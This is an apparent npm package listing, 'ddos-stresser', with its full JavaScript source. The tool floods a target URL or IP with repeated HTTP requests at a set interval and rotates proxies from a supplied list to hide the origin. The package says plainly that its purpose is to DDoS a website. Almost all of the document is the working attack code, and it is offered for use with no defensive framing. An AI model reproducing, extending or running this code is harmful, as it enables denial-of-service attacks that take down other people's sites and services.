ddos-stresser
Version:
A simple package to ddos a ip/website
87 lines (76 loc) • 3.35 kB
JavaScript
const
fs = require("fs"),
UserAgent = require('user-agents'),
HttpsProxyAgent = require('https-proxy-agent');
// J'AI ESSAYER DE COMMENTER LE CODE POUR UNE FOIS X) [Que le debug j'avais la flm]
/**
* Start ddos
*
* @param {object} options - Settings/Config.
* @param {function} emitter - Function Emitter.
*/
function start(options, call) {
try {
if (
(!options && !call) ||
(options && typeof options !== "object") ||
(call && typeof call !== "function")
) return;
const {
url, // Url à down (sa peut être une ip) {OBLIFATOIRE}
interval = 1000, // Interval par reques {FACULTATIF}
max = 100, // Nombre de request max par interval [Non définie = 100] {FACULTATIF}
proxy, // Proxy, peut être un tableau ou un fichier {FACULTATIF}
} = options;
if (!url || !url.startsWith("http")) return call(`Merci d'entrer une url\nPS: Si c'est une ip rajouter juste le protocole et le port\n\rpar example: http://<ip>:<port>`);
const
start = new Date(),
getTime = () => {
const
now = new Date(),
diff = now - start,
seconds = Math.round(diff / 1000),
minutes = Math.floor(seconds / 60),
remainingSeconds = seconds % 60;
return (`${minutes}m ${remainingSeconds}s`)
};
call(undefined, `-> {${getTime()}} Lancement du stresser sur ${url}`);
let allProxy;
if (proxy) {
if (typeof proxy === "object" && Array.isArray(proxy)) allProxy = proxy;
else if (typeof proxy === "string" && fs.existsSync(proxy)) {
const all = fs.readFileSync(proxy, "utf-8")?.split("\n");
if (all.length != 0) allProxy = all
};
if (allProxy) call(undefined, `-> {${getTime()}} ${allProxy?.length || 0} Proxy chargé !`)
};
const getAgent = () => {
let
agent = new UserAgent().toString(),
proxy = ((allProxy || [])[Math.floor(Math.random() * (allProxy?.length || 0))]);
if (proxy && !proxy.startsWith("http")) proxy = `http://${proxy}`;
if (proxy) agent = new HttpsProxyAgent(proxy)
return agent
};
setInterval(() => {
let yes = err = 0;
for (let i = max; i--;) {
try {
fetch(url, { agent: getAgent() })
.then(response => { if (!response.ok) { err++; call(`-> {${getTime()}} Network response was not ok`) } else yes++ })
.catch(error => {
call(`-> {${getTime()}} There was a problem with the fetch operation:`, error);
err++
});
} catch (error) {
call(error);
err++
}
};
call(undefined, console.log(`-> {${getTime()}} SUCCES: ${yes} | ERR: ${err}`));
}, interval)
} catch (error) {
return call(error)
}
};
exports.start = start